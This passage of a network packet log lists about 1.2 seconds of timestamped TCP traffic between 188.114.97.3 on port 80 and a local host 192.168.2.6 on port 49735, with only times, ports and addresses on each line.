                                                                                    Oct 16, 2024 10:58:06.477495909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.477547884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.498936892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.498976946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.498992920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.499064922 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.541213036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.541229963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.541313887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594233036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594249964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594264984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594280005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594295025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594325066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594373941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594508886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594557047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594901085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594917059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594930887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.594953060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594981909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.594981909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.616509914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.616535902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.616553068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.616616964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.616652966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.658781052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.658797979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.658816099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.658878088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.658917904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.711642981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.711669922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.711684942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.711731911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.711756945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.711772919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.711776972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.711822033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.712033987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.712085009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.727361917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.727458954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.727475882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.727525949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.727560997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.734103918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.734157085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.734232903 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.777826071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.777842045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.777856112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.777905941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.777960062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.829718113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829741955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829756975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829776049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.829807043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829809904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.829823017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829853058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.829885006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.829914093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829937935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829953909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829967976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829983950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.829987049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.830007076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.830035925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.851845980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.851869106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.851883888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.851923943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.851957083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.895431995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.895493031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.895495892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.895519972 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.895544052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.895577908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.946793079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.946810007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.946825027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.946849108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.946872950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.946943998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.946959019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.946974039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.947005033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.947031021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.947541952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.947864056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.947912931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.947999954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.948044062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.948052883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.948075056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.948101997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.948136091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.969417095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.969461918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.969477892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.969477892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.969511986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.969532967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.012960911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.012995005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.013006926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.013020992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.013031006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.013031960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.013087988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.013088942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.053230047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.053276062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.053284883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.053325891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065026999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065042973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065068007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065074921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065083981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065099001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065103054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065124989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065124989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065156937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065375090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065390110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065423965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065457106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065824032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065876961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065890074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065913916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065917015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065932989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.065959930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.065993071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.086812973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.086829901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.086843967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.086863995 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.086903095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.086903095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.131293058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.131310940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.131325960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.131356001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.131423950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182733059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182754993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182770967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182786942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182800055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182847977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182859898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182873964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182912111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182915926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182929039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182945013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.182960033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182987928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.182987928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.183470964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.183514118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.183522940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.183531046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.183572054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.183572054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.204391956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.204406977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.204421043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.204436064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.204476118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.204524994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.248785019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.248800993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.248816013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.248842955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.248878956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303041935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303071976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303086996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303102016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303102970 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303149939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303149939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303149939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303256989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303272009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303313017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303499937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303514957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303529024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303558111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303591013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303837061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303886890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303889036 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303904057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.303939104 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.303972006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.304245949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.304299116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.304301977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.304313898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.304344893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.304378986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.323082924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.323138952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.323149920 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.323154926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.323184967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.323211908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.366403103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.366461992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.366477013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.366477966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.366513968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.366532087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422262907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422278881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422292948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422439098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422440052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422596931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422656059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422702074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422744989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422760010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422779083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422800064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.422812939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422812939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.422846079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423002005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423032999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423047066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423051119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423083067 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423115969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423336029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423374891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423402071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423404932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423424006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423453093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423672915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423696041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.423722982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.423753977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.441965103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.441977978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.441992044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.442004919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.442047119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.442094088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.484150887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.484172106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.484186888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.484277964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.484328985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.539781094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.539797068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.539810896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.539844036 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.539885998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.539978027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540018082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540030003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540071011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540338039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540354967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540370941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540383101 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540386915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540396929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540415049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540431023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540630102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540644884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540659904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.540672064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540688992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.540735006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.541408062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.541430950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.541445971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.541448116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.541467905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.541486025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.559705019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.559726954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.559740067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.559761047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.559794903 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601174116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601188898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601227999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601262093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601434946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601476908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601496935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601510048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601525068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601536989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601538897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.601555109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.601584911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.657658100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.657674074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.657689095 CEST8049735188.114.97.3192.168.2.6
